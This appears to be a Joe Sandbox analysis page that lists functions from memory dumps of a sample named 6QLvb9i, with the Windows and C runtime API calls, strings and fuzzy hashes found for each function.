Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: Variant$ClearInit
String ID: $$*$-$6$@$B$D$F$H$J$L$N$T$x$z$|$~
API String ID: 2610073882-889373959
Opcode ID: 77d7e31a16e74c76c5db4f4c451454a5bc9000e3fd4a9d93133c90251daa1416
Instruction ID: 3f3e8f4f928def6a628da6dc937a4398fb2a600b3a862c6e77f0701bb0171040
Opcode Fuzzy Hash: 77d7e31a16e74c76c5db4f4c451454a5bc9000e3fd4a9d93133c90251daa1416
Instruction Fuzzy Hash: 7C4126606087C08EDB16CF28C4C8716BFA16B66218F08C6DCC9994F39BC6B9D519C766

Function 008D1C10 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 008D1C3B
GetFileSize.KERNEL32 ref: 008D1CC3
CloseHandle.KERNEL32 ref: 008D1CDF

Strings

CreateFileA, xrefs: 008D1C2E

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressCloseFileHandleProcSize
String ID: CreateFileA
API String ID: 2836222988-1429953656
Opcode ID: 48ba3699737b8fe12cc9decb6fb9ac608c557650c54cf022ac1b73ca5ac51552
Instruction ID: 140ac5d0ec8def32cb7cd9f7d20b8e1a9c6bd80c6379ce21d2b48c5918bf9f78
Opcode Fuzzy Hash: 48ba3699737b8fe12cc9decb6fb9ac608c557650c54cf022ac1b73ca5ac51552
Instruction Fuzzy Hash: E441A2B4E182499FCB00EFA8D4586AEBBF0FF49314F00852AE899E7350D7749944DF96

Function 00902512 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,009024FD,?,?,?,?,?,?,?,?,?), ref: 009025B8
__alloca_probe_16.LIBCMT ref: 00902673
__alloca_probe_16.LIBCMT ref: 00902702
__freea.LIBCMT ref: 0090274D
__freea.LIBCMT ref: 00902753
__freea.LIBCMT ref: 00902789
__freea.LIBCMT ref: 0090278F
__freea.LIBCMT ref: 0090279F

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: eda54867de0a7022bae1021fa63e7dfe4a439c6f5395831d5bd02fd31d78798b
Instruction ID: fab7f6f383facdb005831d80df4cfdd16ae5c343376442b5c67c36206646e303
Opcode Fuzzy Hash: eda54867de0a7022bae1021fa63e7dfe4a439c6f5395831d5bd02fd31d78798b
Instruction Fuzzy Hash: D571E4729042599FDF219F688C9ABAEBBFDEF45310F28045AF904E72C1EA35EC018751

Function 008F5176 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008F51FC

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction ID: 87b817264abde0c768fff908a456580c938ac5c44b1e42b9c6bc37cb31a2fb32
Opcode Fuzzy Hash: 51e6ba9edb6fa758acba511f911d2998b9b0e2e81ebecee1fdc350593847a06f
Instruction Fuzzy Hash: F8B13672900A5DAFDB118F78CC82BBE7BA5FF56350F244155EB04EB382D2749941CBA1

Function 008E7750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008E7787
___except_validate_context_record.LIBVCRUNTIME ref: 008E778F
_ValidateLocalCookies.LIBCMT ref: 008E7818
__IsNonwritableInCurrentImage.LIBCMT ref: 008E7843
_ValidateLocalCookies.LIBCMT ref: 008E7898

Strings

csm, xrefs: 008E782D

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b2daca9c1b13021ae7acb450b3c06b3b5d9b26acb325a2e0c66f2d66e3f76ce2
Instruction ID: fdc88e533571d32373bb89c720321243499676cdc06ea5508a0f5e406ba04474
Opcode Fuzzy Hash: b2daca9c1b13021ae7acb450b3c06b3b5d9b26acb325a2e0c66f2d66e3f76ce2
Instruction Fuzzy Hash: 9641C434E04259ABCF10DF6ACC45AAEBBA1FF46314F148165E914DB392D7319E01CB92

Function 008F3202 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,008F3311,00000000,00000000,00000000,00000000), ref: 008F32C3

Strings

ext-ms-, xrefs: 008F326D
api-ms-, xrefs: 008F3259

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 033c3e80402c388b840787dbaf0060530f65c0fec3b53f6f240b5dae3e839abf
Instruction ID: 9b9846b4a8636db795bc3fa2edb22137841761af925fc15fcbffbd4125529079
Opcode Fuzzy Hash: 033c3e80402c388b840787dbaf0060530f65c0fec3b53f6f240b5dae3e839abf
Instruction Fuzzy Hash: B721D531B1521DBBDB219B759C41AAA3798FB417A5F248214EB06E7290DB30EE00D6D0

Function 008E6A80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 008E6A86
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 008E6A94
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 008E6AA5

Strings

kernel32.dll, xrefs: 008E6A81
GetSystemTimePreciseAsFileTime, xrefs: 008E6A8E
GetTempPath2W, xrefs: 008E6A9A

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ca267602f1e432d8a6d3a24f29dc7de6a9e2c0fb93d2906bd3eb243a1132864d
Instruction ID: 3fd6c7861091b3e6146fdf2b3b915a5c72f27d908caf1faca1419c0cad3dff2f
Opcode Fuzzy Hash: ca267602f1e432d8a6d3a24f29dc7de6a9e2c0fb93d2906bd3eb243a1132864d
Instruction Fuzzy Hash: B5D09E31779310AFC3509FB17C098C63BF4EB45B55305C866F511D22A0D7B40542EA91

Function 0090097C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63d210abdeffbb5fb21e1fc259096c6839943236ee9b3e36f339e06366cb22b
Instruction ID: 11d4601f0887143c4eca7c099bc7828ce01c5e81af4dbabea6d6c02c34dc44b6
Opcode Fuzzy Hash: b63d210abdeffbb5fb21e1fc259096c6839943236ee9b3e36f339e06366cb22b
Instruction Fuzzy Hash: D4B1F570A04389AFEB11DFA9C841BAE7BB5FF86304F144298E554AB3D2C7709D41CB61

Function 008F1087 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,008F107E,008E7170,008E38AF,BB40E64E,?,?,?,?,00902FFF,000000FF,?,008D90A5), ref: 008F1095
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 008F10A3
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 008F10BC
SetLastError.KERNEL32(00000000,?,008F107E,008E7170,008E38AF,BB40E64E,?,?,?,?,00902FFF,000000FF,?,008D90A5), ref: 008F110E

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7b4af9e48d6de217e18051c8df7a645b709115421e3fbc9d1c7dc9d585bfbc37
Instruction ID: 3967e847dd68c1d27e674e3fe7578b286ff86cae54b580981cd6142a152a02a8
Opcode Fuzzy Hash: 7b4af9e48d6de217e18051c8df7a645b709115421e3fbc9d1c7dc9d585bfbc37
Instruction Fuzzy Hash: AD01D83371C7199EAE2526797C4D97A3A95FB46B75720422EF310C51F1EF118C82EA40

Function 008F190E Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 008F1A2D
CallUnexpected.LIBVCRUNTIME ref: 008F1CA6

Strings

csm, xrefs: 008F194B
csm, xrefs: 008F19B8
csm, xrefs: 008F1A64

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 93996c391fda30767e5ea1ef0f330d92c3e55ad8da125af7f1b472316e4ba120
Instruction ID: 893a5af8c9e626759538b73c9a76de46d21b35c45ca0c574f9d2fd85031304eb
Opcode Fuzzy Hash: 93996c391fda30767e5ea1ef0f330d92c3e55ad8da125af7f1b472316e4ba120
Instruction Fuzzy Hash: EEB1797190020DEFCF25DFB8C8899BEBBB5FF54310B10415AEA15AB212D731DA61CB92

Function 008EBD98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00902EC9,000000FF,?,008EBE59,008EBD40,?,008EBEF5,00000000), ref: 008EBDCD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 008EBDDF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00902EC9,000000FF,?,008EBE59,008EBD40,?,008EBEF5,00000000), ref: 008EBE01

Strings

CorExitProcess, xrefs: 008EBDD7
mscoree.dll, xrefs: 008EBDC6

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 774771cf471ef4f67cf88c1b8ca56fb6a64b7dacfd10a4cb93979cdae23e67d9
Instruction ID: 758ba847053e6ef438dac80cb48d4b945662d5e8f259e03e61654a12507482b0
Opcode Fuzzy Hash: 774771cf471ef4f67cf88c1b8ca56fb6a64b7dacfd10a4cb93979cdae23e67d9
Instruction Fuzzy Hash: 1601A231A58659FFDB129B91DC09BEEBBB8FB44B15F008625F911E22D0DB749900CA90

Function 008F39EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 008F3A6F
__alloca_probe_16.LIBCMT ref: 008F3B38
__freea.LIBCMT ref: 008F3B9F

Part of subcall function 008F22B1: HeapAlloc.KERNEL32(00000000,008F4235,?,?,008F4235,00000220,?,?,?), ref: 008F22E3

__freea.LIBCMT ref: 008F3BB2
__freea.LIBCMT ref: 008F3BBF

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 22b48093ddcb01c35b7f936f888d3c5a5a90ba192fca156050d82b801f9e2f30
Instruction ID: 9ecbd85505464a9b35808779f5008fbd2ca405fd0e2abc06a64a268638a97a56
Opcode Fuzzy Hash: 22b48093ddcb01c35b7f936f888d3c5a5a90ba192fca156050d82b801f9e2f30
Instruction Fuzzy Hash: 0051D67260020EBFDB219F76CC56EBB7AADFF44724B150069FE04D6251EB30CE1496A1

Function 008E5D01 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 008E5D15
AcquireSRWLockExclusive.KERNEL32(?,?,?,008DB45E), ref: 008E5D34
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5D62
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5DBD
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,008DB45E), ref: 008E5DD4

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 211a53c8506955781346b41fff66c303570a5a3f1ccfe2f17b40940451f7bb70
Instruction ID: d760e0e8f59f9930b93a967898b743e8b78ee4ab18441c4cdfb7c359e25309a5
Opcode Fuzzy Hash: 211a53c8506955781346b41fff66c303570a5a3f1ccfe2f17b40940451f7bb70
Instruction Fuzzy Hash: D5415D35710E8ADFCB20DF66C9989AAB3F9FF06318B204629E456D7540D730F985CB51

Function 008E3142 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008E3149
std::_Lockit::_Lockit.LIBCPMT ref: 008E3154
std::_Lockit::~_Lockit.LIBCPMT ref: 008E31C2

Part of subcall function 008E304A: std::locale::_Locimp::_Locimp.LIBCPMT ref: 008E3062

std::locale::_Setgloballocale.LIBCPMT ref: 008E316F
_Yarn.LIBCPMT ref: 008E3185

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fa8971346c437fd35401e63684500179b668a63303b0308d56afe641296f9abd
Instruction ID: 612b5a3950119f3a754635ee28c45785610bdc73bc52a6fe97f748babfcc5fab
Opcode Fuzzy Hash: fa8971346c437fd35401e63684500179b668a63303b0308d56afe641296f9abd
Instruction Fuzzy Hash: 31015A75B045A1ABC706EB65DC865BC7BB6FF96350B144008F81297391CF346E42DBC2

Function 008FD190 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,008FD22C,?,?,00000000,?,?,?,008FD0EA,00000002,FlsGetValue,009081E4,009081EC), ref: 008FD19D
GetLastError.KERNEL32(?,008FD22C,?,?,00000000,?,?,?,008FD0EA,00000002,FlsGetValue,009081E4,009081EC,?,?,008F10A8), ref: 008FD1A7
LoadLibraryExW.KERNEL32(?,00000000,00000000,000000FF,?,008D90A5), ref: 008FD1CF

Strings

api-ms-, xrefs: 008FD1B4

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: bd20b5531f3c5abb0ce56b3661321ec50dfa8396228d172fd617b13704e5bc60
Instruction ID: 5b02c6b9f0e265df1fefaa44819604b4f33f17ef9eba2b99c886a2d83d081f5e
Opcode Fuzzy Hash: bd20b5531f3c5abb0ce56b3661321ec50dfa8396228d172fd617b13704e5bc60
Instruction Fuzzy Hash: 05E0123079430CB6EB101B61DC06BB93B55EB00B44F148460FB0DE54A1D761D890D554

Function 008FA25E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 008FA2C1

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 008FA513
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 008FA559
GetLastError.KERNEL32 ref: 008FA5FC

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: cb9815f68bb6107141e33518fc28f1454d195f315a74c2bfee8cb68a90c0496e
Instruction ID: a93bb6accff9b13c836a04fbbc53d4d2c09b86f87092d442c05617a38dff5689
Opcode Fuzzy Hash: cb9815f68bb6107141e33518fc28f1454d195f315a74c2bfee8cb68a90c0496e
Instruction Fuzzy Hash: 8ED16CB5D0424C9FCB19CFA8C8849EDBBB4FF09314F28816AE659EB351D630A941CB51

Function 008F1635 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 008F16FC
___AdjustPointer.LIBCMT ref: 008F171F
___AdjustPointer.LIBCMT ref: 008F17BB

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 0d28a29aaf476fa64284daad1c89dc1ae6f176f0e5e6431d7eabaa945ccba96e
Instruction ID: d83eb4511ef23940fa7d11f7c28d60c7ed569da9b95662ab0abd7d5d619872b3
Opcode Fuzzy Hash: 0d28a29aaf476fa64284daad1c89dc1ae6f176f0e5e6431d7eabaa945ccba96e
Instruction Fuzzy Hash: B051E17160420AEFDF25AF25D849BBA77A4FF11314F14442DEA4AC72A4E731AC90CB90

Function 008F8086 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 008F23C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,008F3B95,?,00000000,-00000008), ref: 008F2422

GetLastError.KERNEL32 ref: 008F80EA
__dosmaperr.LIBCMT ref: 008F80F1
GetLastError.KERNEL32 ref: 008F812B
__dosmaperr.LIBCMT ref: 008F8132

Memory Dump Source

Source File: 00000002.00000002.2977492714.00000000008D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true

Associated: 00000002.00000002.2977479512.00000000008D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977515613.0000000000904000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977534009.0000000000915000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977549439.000000000091A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2977565268.000000000091E000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8d0000_6QLvb9i.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
